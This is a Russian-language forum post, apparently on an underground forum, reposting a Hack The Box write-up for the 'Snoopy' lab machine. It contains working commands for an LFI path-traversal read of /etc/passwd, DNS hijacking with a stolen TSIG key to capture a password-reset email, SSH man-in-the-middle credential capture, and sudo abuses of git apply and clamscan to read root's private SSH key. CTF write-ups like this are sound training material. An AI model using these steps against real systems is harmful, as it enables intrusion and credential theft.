• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Проводим MITM-атаку на SSH для получения учетных данных

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы проведем MITM-атаку на службу SSH, чтобы заполучить логин и пароль пользователя. Но сначала попентестим веб‑сервер, найдем уязвимость LFI и, проникнув в систему, повысим привилегии через антивирус ClamAV.
Упражняться будем на тренировочной машине Snoopy с площадки Для просмотра ссылки Войди или Зарегистрируйся. Ее уровень — сложный.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.212 snoopy.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
  • 22 — служба OpenSSH 8.9p1;
  • 53 — служба BIND DNS;
  • 80 — веб‑сервер Nginx 1.18.0.
На SSH ничего не добьемся, а вот быстро проверить DNS мы можем.

dig @snoopy.htb
Результат выполнения команды dig
Новых записей DNS обнаружить не удалось, поэтому смело переходим к веб‑серверу, а точнее — к сайту, который на нем расположен.

Главная страница сайта
Находим упоминание нескольких пользователей, которые потенциально могут иметь учетную запись как на самом сайте, так и на сервере.

Имена пользователей на сайте
Также натыкаемся на сообщение о том, что почтовый сервис mail.snoopy.htb в данный момент недоступен.

Содержимое страницы contact.html

Точка входа​

Попробуем просканировать поддомены в поисках скрытых страниц и форм для авторизации.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -u — URL;
  • -H — заголовок HTTP.
Место перебора помечается словом FUZZ.
Команда получается следующая:

ffuf -u [URL]http://snoopy.htb/[/URL] -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.snoopy.htb'
Результат сканирования поддоменов
В вывод утилиты попадают абсолютно все слова из словаря, поэтому следует дополнительно указать фильтр по размеру страницы (параметр -fs).

ffuf -u [URL]http://snoopy.htb/[/URL] -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.snoopy.htb' -fs 0,23418
Результат сканирования поддоменов
Добавляем найденный поддомен в файл /etc/hosts и смотрим страницу.

10.10.11.212 snoopy.htb mm.snoopy.htb
Главная страница mm.snoopy.htb

Нас встречает сервис Mattermost. Тут ничего не сделать, поэтому возвращаемся к первому сайту. Продолжив поиски, обнаруживаем файл, который мы можем скачать.

Скачанный файл в Burp Proxy

Burp сразу подсвечивает места, которые могут быть уязвимы для LFI, поэтому тщательно проверим этот запрос. Закидываем его в Burp Intruder и прогоняем по списку с разными вариантами подстановки.

Burp Intruder — вкладка Positions Burp Intruder — результат перебора

Мы находим такой путь к файлу, который возвращает тот же ответ, что остальные варианты. Повторяем запрос через curl и пробуем скачать файл /etc/passwd.

Код:
curl 'http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/passwd' -o f.zip
unzip f.zip
cat press_package/etc/passwd
Получение файла /etc/passwd

Получаем файл, а значит, уязвимость есть.

Точка опоры​


NS update​

Первым делом я подумал, что благодаря LFI мы можем получить важные данные для подключения к службе BIND DNS. Далее для неработающего домена создадим NS-запись, указывающую на наш сервер. Затем развернем службу SMTP и попробуем восстановить пароль от Mattermost, чтобы он пришел на почту. Это заставит удаленный сервер прислать ссылку для восстановления пароля на наш сервер.

Читаем файл /etc/bind/named.conf.

Содержимое файла named.conf
Получаем алгоритм, имя ключа и секрет. Теперь подключаемся к службе NS и добавляем запись.

Код:
nsupdate -d -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=

server snoopy.htb
update add mail.snoopy.htb.  86400  IN A 10.10.14.53
send

Конфигурация NS-сервера
Запускаем легкий SMTP-сервер на Python 3 и в качестве адреса для восстановления пароля указываем пользователя cbrown из файла /etc/passwd.

python3 -m smtpd -n -c DebuggingServer 10.10.14.53:25
Восстановление пароля Входящее сообщение
Во входящем сообщении, как и предполагали, видим ссылку на восстановление пароля. Тут у меня не получилось восстановить пароль по ссылке — сервис выдал ошибку токена. Так продолжалось, пока я не исправил =3D на =...

Страница сброса пароля Каналы Mattermost
Среди сообщений ничего интересного не находим, поэтому просмотрим зарегистрированные команды, введя /.

Зарегистрированные команды
По команде /server_provision открывается форма, где нужно указать адрес сервера. По возможным вариантам в боксе «Operating System» догадываемся, что это данные для подключения к SSH (так как подключение осуществляется к порту 2222).

Форма запроса server_provision

SSH-MITM​

Видимо, бот подключится к SSH на указанный сервер, поэтому мы можем воспользоваться инструментом Для просмотра ссылки Войди или Зарегистрируйся, чтобы провести MITM-атаку на SSH и получить учетные данные пользователя.

Код:
pip3 install ssh-mitm

python3 -m sshmitm server --enable-trivial-auth --remote-host 10.10.11.212 --listen-port 2222
Запуск сервера SSH-MITM
Теперь указываем в форме данные для подключения по нашему адресу. Почти сразу после отправки запроса в логах SSH-MITM получаем учетные данные пользователя.

Форма запроса server_provision Логи SSH-MITM
Теперь сами подключаемся к удаленному серверу с полученными учетными данными и забираем первый флаг.

Флаг пользователя

Продвижение​

Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
В отчете LinPEAS видим, что настройки sudoers доступны только при вводе пароля.

Для просмотра ссылки Войди или Зарегистрируйся
Также узнаём, что на сервере присутствует библиотека, необходимая для выполнения команд Bash из MySQL.

Данные о MySQL
Заново запросим настройки sudoers и в этот раз введем пароль пользователя.

Настройки sudoers

Пользователь cbrown может выполнить команду /usr/bin/git apply * в контексте пользователя sbrown. Эта команда применяет к файлам исправления, то есть таким способом мы можем производить запись в любой файл пользователя sbrown. Попробуем сгенерировать и записать публичный ключ SSH.

ssh-keygen
Создание пары ключей SSH
Код:
cd ..
cat cbrown/.ssh/id_rsa.pub > cbrown/.ssh/authorized_keys
git diff cbrown/.bash_history cbrown/.ssh/authorized_keys > /tmp/git.diff

А теперь немного подправим пути в diff-файле, чтобы они соответствовали каталогам пользователя sbrown, и выполним git apply.

Изменения в файле git.diff
sudo -u sbrown /usr/bin/git apply /tmp/git.diff
Когда изменения применены, можем подключиться по SSH от имени целевого пользователя.

ssh -i cbrown/.ssh/id_rsa sbrown@127.0.0.1
Флаг пользователя

Локальное повышение привилегий​

Разведку уже проводили, а со сменой контекста обычно мало что меняется, поэтому проверяем настройки sudoers.

Настройки sudoers
Таким образом узнаём, что мы можем без ввода пароля выполнить команду /usr/local/bin/clamscan в привилегированном контексте. Clamscan — это консольная программа для управления антивирусом ClamAV. Немного погуглив, можно выйти на Для просмотра ссылки Войди или Зарегистрируйся, где показан способ чтения файла с помощью Clamscan.

Я попытался прочитать закрытый ключ SSH пользователя root вот такой командой:

sudo /usr/bin/clamscan /root/.ssh/id_rsa --copy=/tmp/results
Но в итоге ничего не получил.

Изучив подробности, я попробовал выставить параметр -f, при помощи которого задается список файлов для сканирования. Дело в том, что каждая строка из переданного файла будет воспринята антивирусом как путь для сканирования, но, поскольку такого пути не существует, мы получим сообщение об ошибке, а в нем — строку из файла. Таким способом эксфильтруем весь файл.

sudo /usr/local/bin/clamscan -f /root/.ssh/id_rsa --copy=/dev/shm/
Результат использования Clamscan

Теперь собираем приватный ключ и подключаемся от имени рута.

Флаг рута

Машина захвачена!
 
Activity
So far there's no one here